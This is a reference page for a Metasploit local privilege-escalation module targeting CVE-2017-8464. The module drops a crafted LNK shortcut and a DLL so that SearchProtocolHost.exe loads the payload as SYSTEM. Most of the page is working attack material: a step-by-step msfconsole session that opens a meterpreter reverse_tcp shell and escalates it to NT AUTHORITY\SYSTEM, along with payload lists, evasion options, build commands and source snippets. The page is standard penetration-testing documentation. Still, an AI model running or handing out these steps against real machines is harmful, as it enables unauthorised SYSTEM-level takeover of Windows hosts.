LNK Code Execution Vulnerability - Metasploit
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Module Overview
Name: LNK Code Execution Vulnerability
Module: exploit/windows/local/cve_2017_8464_lnk_lpe
Source code: modules/exploits/windows/local/cve_2017_8464_lnk_lpe.rb
Disclosure date: 2017-06-13
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): x86, x64
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2015-0096, CVE-2017-8464
This module exploits a vulnerability in the handling of Windows Shortcut files (.LNK) that contain a dynamic icon, loaded from a malicious DLL. This vulnerability is a variant of MS15-020 (CVE-2015-0096). The created LNK file is similar except an additional SpecialFolderDataBlock is included. The folder ID set in this SpecialFolderDataBlock is set to the Control Panel. This is enough to bypass the CPL whitelist. This bypass can be used to trick Windows into loading an arbitrary DLL file. The PATH option must be an absolute path to a writeable directory which is indexed for searching. If no PATH is specified, the module defaults to %USERPROFILE%.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Stability:
- crash-service-restarts: Module may crash the service, but the service restarts.
Side Effects:
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions command.
msf > use exploit/windows/local/cve_2017_8464_lnk_lpe
msf exploit(cve_2017_8464_lnk_lpe) > show targets
... a list of targets ...
msf exploit(cve_2017_8464_lnk_lpe) > set TARGET target-id
msf exploit(cve_2017_8464_lnk_lpe) > show options
... show and set options ...
msf exploit(cve_2017_8464_lnk_lpe) > set SESSION session-id
msf exploit(cve_2017_8464_lnk_lpe) > exploit
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Description
This module is a Windows local exploit version of the existing file
format module for CVE-2017-8464. The module works by dropping the
specially crafted LNK file and DLL to disk, which causes
SearchProtocolHost.exe to parse the LNK file and thus load the DLL via
the vulnerability. Due to SearchProtocolHost.exe running as SYSTEM,
this can be used to elevate privileges.
The original DLL template needed some significant reworking to make it
compatible for execution within SearchProtocolHost.exe. The payload
was originally failing in the hollowed child rundll32.exe process with
a denied error from winsock. This was addressed by checking if the process
which loaded the crafted DLL is SearchProtocolHost.exe and when it is,
it opens the token of another SYSTEM process and passes it to
CreateProcessAsUser for the payload to work. When the DLL is loaded
into another process or is not running as SYSTEM, this step is skipped
and NULL is passed as the token.
Finally a thread is spawned to keep a module reference and monitor the
child process. This is for synchronization to prevent the payload from
being executed in rapid succession from a single exploitation attempt.
The mutex was also updated to the constant of MUTEX!!! to leverage
Metasploit's builtin mutex name randomization, which ensures that a name
is unique per module run but not globally unique.
Vulnerable Systems
Tested and works on Windows 7x64 SP0 Windows 7x64 SP1 Windows 8x64 Windows 8.1x64 Windows 10x64 Build 1511 Windows 10x64 Build 1607 Windows 10x64 Build 1703
Running Example:
> use exploit/multi/handler
> set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
> set LHOST 192.168.135.112
LHOST => 192.168.135.112
> set LPORT 30001
LPORT => 30001
> show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.135.112 yes The listen address
LPORT 30001 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
[*] > Ruby Code (13 bytes)
> run -z
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 192.168.135.112:30001
[*] Sending stage (205379 bytes) to 192.168.134.133
[*] Meterpreter session 1 opened (192.168.135.112:30001 -> 192.168.134.133:49178) at 2017-11-06 10:22:02 -0800
> sysinfo
Computer : WIN7X64-SP0
OS : Windows 7 (Build 7600).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 4
Meterpreter : x64/windows
> sessions -l
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x64/windows WIN7X64-SP0\msfuser @ WIN7X64-SP0 192.168.135.112:30001 -> 192.168.134.133:49178 (192.168.134.133)
> use exploit/windows/local/cve_2017_8464_lnk_lpe
> set session 1
session => 1
> set target 0
target => 0
> set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
> set lhost 192.168.135.112
lhost => 192.168.135.112
> set lport 30002
lport => 30002
> set verbose true
verbose => true
> show options
Module options (exploit/windows/local/cve_2017_8464_lnk_lpe):
Name Current Setting Required Description
---- --------------- -------- -----------
DLLNAME no The DLL file containing the payload
FILENAME no The LNK file
PATH no An explicit path to where the files should be written to
SESSION 1 yes The session to run this module on.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.135.112 yes The listen address
LPORT 30002 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows x64
> run -j
[*] Exploit running as background job 1.
[*] Started reverse TCP handler on 192.168.135.112:30002
[*] Generating LNK file to load: C:\Users\msfuser\QtGyQHZpWvmzjdsn.dll
[*] Sending stage (205379 bytes) to 192.168.134.133
[*] Meterpreter session 2 opened (192.168.135.112:30002 -> 192.168.134.133:49179) at 2017-11-06 10:23:03 -0800
[*] Waiting 15s before file cleanup...
[+] Deleted C:\Users\msfuser\HADoIQMbEQDpbbRn.lnk
[+] Deleted C:\Users\msfuser\QtGyQHZpWvmzjdsn.dll
> sessions -l
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x64/windows WIN7X64-SP0\msfuser @ WIN7X64-SP0 192.168.135.112:30001 -> 192.168.134.133:49178 (192.168.134.133)
2 meterpreter x64/windows NT AUTHORITY\SYSTEM @ WIN7X64-SP0 192.168.135.112:30002 -> 192.168.134.133:49179 (192.168.134.133)
> getuid
Server username: WIN7X64-SP0\msfuser
Server username: NT AUTHORITY\SYSTEM
> getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
> getuid
Server username: NT AUTHORITY\SYSTEM
> exit -y
Compiling instructions
cd ./external/source/exploits/cve-2017-8464
./build.sh
(Requires mingw-w64 package)
Go back to menu.
Msfconsole Usage
Here is how the windows/local/cve_2017_8464_lnk_lpe exploit module looks in the msfconsole:
msf6 > use exploit/windows/local/cve_2017_8464_lnk_lpe
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/cve_2017_8464_lnk_lpe) > show info
Name: LNK Code Execution Vulnerability
Module: exploit/windows/local/cve_2017_8464_lnk_lpe
Platform: Windows
Arch: x86, x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2017-06-13
Provided by:
Uncredited
Yorick Koster
Spencer McIntyre
Module side effects:
artifacts-on-disk
Module stability:
crash-service-restarts
Available targets:
Id Name
-- ----
0 Windows x64
1 Windows x86
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DLLNAME no The DLL file containing the payload
FILENAME no The LNK file
PATH no An explicit path to where the files should be written to
SESSION yes The session to run this module on.
Payload information:
Space: 2048
Description:
This module exploits a vulnerability in the handling of Windows
Shortcut files (.LNK) that contain a dynamic icon, loaded from a
malicious DLL. This vulnerability is a variant of MS15-020
(CVE-2015-0096). The created LNK file is similar except an
additional SpecialFolderDataBlock is included. The folder ID set in
this SpecialFolderDataBlock is set to the Control Panel. This is
enough to bypass the CPL whitelist. This bypass can be used to trick
Windows into loading an arbitrary DLL file. The PATH option must be
an absolute path to a writeable directory which is indexed for
searching. If no PATH is specified, the module defaults to
%USERPROFILE%.
References:
https://nvd.nist.gov/vuln/detail/CVE-2017-8464
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8464
http://www.vxjump.net/files/vuln_analysis/cve-2017-8464.txt
https://msdn.microsoft.com/en-us/library/dd871305.aspx
http://www.geoffchappell.com/notes/security/stuxnet/ctrlfldr.htm
https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf
Module Options
This is a complete list of options available in the windows/local/cve_2017_8464_lnk_lpe exploit:
msf6 exploit(windows/local/cve_2017_8464_lnk_lpe) > show options
Module options (exploit/windows/local/cve_2017_8464_lnk_lpe):
Name Current Setting Required Description
---- --------------- -------- -----------
DLLNAME no The DLL file containing the payload
FILENAME no The LNK file
PATH no An explicit path to where the files should be written to
SESSION yes The session to run this module on.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows x64
Advanced Options
Here is a complete list of advanced options supported by the windows/local/cve_2017_8464_lnk_lpe exploit:
msf6 exploit(windows/local/cve_2017_8464_lnk_lpe) > show advanced
Module advanced options (exploit/windows/local/cve_2017_8464_lnk_lpe):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay 15 no Delay in seconds before attempting cleanup
LnkComment Manage Flash Player Settings yes The comment to use in the generated LNK file
LnkDisplayName Flash Player yes The display name to use in the generated LNK file
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 30 no Additional delay in seconds to wait for a session
Payload advanced options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependMigrate false yes Spawns and runs shellcode in new process
PrependMigrateProc no Process to spawn and run shellcode in
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the windows/local/cve_2017_8464_lnk_lpe module can exploit:
msf6 exploit(windows/local/cve_2017_8464_lnk_lpe) > show targets
Exploit targets:
Id Name
-- ----
0 Windows x64
1 Windows x86
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the windows/local/cve_2017_8464_lnk_lpe exploit:
msf6 exploit(windows/local/cve_2017_8464_lnk_lpe) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/windows/x64/exec normal No Windows x64 Execute Command
4 payload/windows/x64/loadlibrary normal No Windows x64 LoadLibrary Path
5 payload/windows/x64/messagebox normal No Windows MessageBox x64
6 payload/windows/x64/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
7 payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
8 payload/windows/x64/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
9 payload/windows/x64/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
10 payload/windows/x64/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
11 payload/windows/x64/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
12 payload/windows/x64/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
13 payload/windows/x64/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
14 payload/windows/x64/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
15 payload/windows/x64/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
16 payload/windows/x64/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
17 payload/windows/x64/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
18 payload/windows/x64/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
19 payload/windows/x64/meterpreter/reverse_winhttps normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
20 payload/windows/x64/peinject/bind_ipv6_tcp normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
21 payload/windows/x64/peinject/bind_ipv6_tcp_uuid normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
22 payload/windows/x64/peinject/bind_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
23 payload/windows/x64/peinject/bind_tcp normal No Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
24 payload/windows/x64/peinject/bind_tcp_rc4 normal No Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
25 payload/windows/x64/peinject/bind_tcp_uuid normal No Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
26 payload/windows/x64/peinject/reverse_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
27 payload/windows/x64/peinject/reverse_tcp normal No Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
28 payload/windows/x64/peinject/reverse_tcp_rc4 normal No Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
29 payload/windows/x64/peinject/reverse_tcp_uuid normal No Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
30 payload/windows/x64/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
31 payload/windows/x64/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
32 payload/windows/x64/shell/bind_ipv6_tcp normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
33 payload/windows/x64/shell/bind_ipv6_tcp_uuid normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
34 payload/windows/x64/shell/bind_named_pipe normal No Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
35 payload/windows/x64/shell/bind_tcp normal No Windows x64 Command Shell, Windows x64 Bind TCP Stager
36 payload/windows/x64/shell/bind_tcp_rc4 normal No Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
37 payload/windows/x64/shell/bind_tcp_uuid normal No Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
38 payload/windows/x64/shell/reverse_tcp normal No Windows x64 Command Shell, Windows x64 Reverse TCP Stager
39 payload/windows/x64/shell/reverse_tcp_rc4 normal No Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
40 payload/windows/x64/shell/reverse_tcp_uuid normal No Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
41 payload/windows/x64/shell_bind_tcp normal No Windows x64 Command Shell, Bind TCP Inline
42 payload/windows/x64/shell_reverse_tcp normal No Windows x64 Command Shell, Reverse TCP Inline
43 payload/windows/x64/vncinject/bind_ipv6_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
44 payload/windows/x64/vncinject/bind_ipv6_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
45 payload/windows/x64/vncinject/bind_named_pipe normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
46 payload/windows/x64/vncinject/bind_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
47 payload/windows/x64/vncinject/bind_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
48 payload/windows/x64/vncinject/bind_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
49 payload/windows/x64/vncinject/reverse_http normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
50 payload/windows/x64/vncinject/reverse_https normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
51 payload/windows/x64/vncinject/reverse_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
52 payload/windows/x64/vncinject/reverse_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
53 payload/windows/x64/vncinject/reverse_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
54 payload/windows/x64/vncinject/reverse_winhttp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
55 payload/windows/x64/vncinject/reverse_winhttps normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)
Evasion Options
Here is the full list of possible evasion options supported by the windows/local/cve_2017_8464_lnk_lpe exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(windows/local/cve_2017_8464_lnk_lpe) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
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Error Messages
This module may fail with the following error messages:
Error Messages
- Session is already elevated
- This exploit requires a native Windows meterpreter session
- Exploit not available on this system.
- Running against WOW64 is not supported, please get an x64 session
- Session host is x64, but the target is specified as x86
- Session host is x86, but the target is specified as x64
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Session is already elevated
Here is a relevant code snippet related to the "Session is already elevated" error message:
98: name
99: end
100:
101: def exploit
102: if is_system?
103: fail_with(Failure::None, 'Session is already elevated')
104: end
105:
106: if session.platform != 'windows'
107: fail_with(Failure::NoTarget, 'This exploit requires a native Windows meterpreter session')
108: end
This exploit requires a native Windows meterpreter session
Here is a relevant code snippet related to the "This exploit requires a native Windows meterpreter session" error message:
102: if is_system?
103: fail_with(Failure::None, 'Session is already elevated')
104: end
105:
106: if session.platform != 'windows'
107: fail_with(Failure::NoTarget, 'This exploit requires a native Windows meterpreter session')
108: end
109:
110: if check == Exploit::CheckCode::Safe
111: fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
112: end
Exploit not available on this system.
Here is a relevant code snippet related to the "Exploit not available on this system." error message:
106: if session.platform != 'windows'
107: fail_with(Failure::NoTarget, 'This exploit requires a native Windows meterpreter session')
108: end
109:
110: if check == Exploit::CheckCode::Safe
111: fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
112: end
113:
114: if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
115: fail_with(Failure::NoTarget, 'Running against WOW64 is not supported, please get an x64 session')
116: elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86
Running against WOW64 is not supported, please get an x64 session
Here is a relevant code snippet related to the "Running against WOW64 is not supported, please get an x64 session" error message:
110: if check == Exploit::CheckCode::Safe
111: fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
112: end
113:
114: if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
115: fail_with(Failure::NoTarget, 'Running against WOW64 is not supported, please get an x64 session')
116: elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86
117: fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
118: elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64
119: fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
120: end
Session host is x64, but the target is specified as x86
Here is a relevant code snippet related to the "Session host is x64, but the target is specified as x86" error message:
112: end
113:
114: if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
115: fail_with(Failure::NoTarget, 'Running against WOW64 is not supported, please get an x64 session')
116: elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86
117: fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
118: elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64
119: fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
120: end
121:
122: path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2017-8464')
Session host is x86, but the target is specified as x64
Here is a relevant code snippet related to the "Session host is x86, but the target is specified as x64" error message:
114: if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
115: fail_with(Failure::NoTarget, 'Running against WOW64 is not supported, please get an x64 session')
116: elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86
117: fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
118: elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64
119: fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
120: end
121:
122: path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2017-8464')
123: arch = target['Arch'] == ARCH_ANY ? payload.arch.first : target['Arch']
124: datastore['EXE::Path'] = path
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Related Pull Requests
- #14792 Merged Pull Request: Apply fixes for invalid sysinfo['Architecture'] checks, aka #14599, to affected modules
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #11918 Merged Pull Request: replace trivial usage of expand_path with getenv
- #10873 Merged Pull Request: Add applicable notes to my exploit modules
- #9041 Merged Pull Request: Add an LPE Version Of CVE-2017-8464
References
- CVE-2017-8464
- https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8464
- http://www.vxjump.net/files/vuln_analysis/cve-2017-8464.txt
- https://msdn.microsoft.com/en-us/library/dd871305.aspx
- http://www.geoffchappell.com/notes/security/stuxnet/ctrlfldr.htm
- https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf
See Also
Check also the following modules related to this module:
- exploit/windows/fileformat/cve_2017_8464_lnk_rce
- exploit/windows/fileformat/ms15_020_shortcut_icon_dllloader
- exploit/windows/smb/ms15_020_shortcut_icon_dllloader
- exploit/windows/local/cve_2018_8453_win32k_priv_esc
- exploit/windows/local/cve_2019_1458_wizardopium
- exploit/windows/local/cve_2020_0668_service_tracing
- exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move
- exploit/windows/local/cve_2020_0796_smbghost
- exploit/windows/local/cve_2020_1048_printerdemon
- exploit/windows/local/cve_2020_1054_drawiconex_lpe
- exploit/windows/local/cve_2020_1313_system_orchestrator
- exploit/windows/local/cve_2020_1337_printerdemon
- exploit/windows/local/cve_2020_17136
- exploit/windows/local/cve_2021_1732_win32k
- exploit/windows/local/cve_2021_21551_dbutil_memmove
- exploit/windows/local/cve_2021_40449
- exploit/windows/local/cve_2022_21882_win32k
- exploit/windows/local/cve_2022_21999_spoolfool_privesc
- exploit/windows/local/cve_2022_26904_superprofile
- exploit/windows/dcerpc/cve_2021_1675_printnightmare
- exploit/windows/misc/cve_2022_28381_allmediaserver_bof
- exploit/windows/rdp/cve_2019_0708_bluekeep_rce
- exploit/windows/smb/cve_2020_0796_smbghost
- exploit/linux/http/cve_2019_1663_cisco_rmi_rce
- exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe
- exploit/linux/local/cve_2021_3493_overlayfs
- exploit/linux/local/cve_2021_38648_omigod
- exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
- exploit/linux/local/cve_2022_0847_dirtypipe
- exploit/linux/local/cve_2022_0995_watch_queue
- exploit/linux/misc/cve_2020_13160_anydesk
- exploit/linux/misc/cve_2021_38647_omigod
- exploit/multi/http/cve_2021_35464_forgerock_openam
- exploit/multi/sap/cve_2020_6207_solman_rs
Related Nessus plugins:
- MS15-020: Vulnerabilities in Microsoft Windows Could Allow Remote Code Execution (3041836) (EASYHOOKUP)
- KB4022714: Windows 10 Version 1511 June 2017 Cumulative Update
- KB4022715: Windows 10 Version 1607 and Windows Server 2016 June 2017 Cumulative Update
- Windows 7 and Windows Server 2008 R2 June 2017 Security Updates
- Windows Server 2012 June 2017 Security Updates
- KB4022725: Windows 10 Version 1703 June 2017 Cumulative Update
- Windows 8.1 and Windows Server 2012 R2 June 2017 Security Updates
- KB4022727: Windows 10 Version 1507 June 2017 Cumulative Update
- Microsoft Security Advisory 4025685: Windows Vista (June 2017)
- Windows 2008 June 2017 Multiple Security Updates
Authors
- Uncredited
- Yorick Koster
- Spencer McIntyre
Version
This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.
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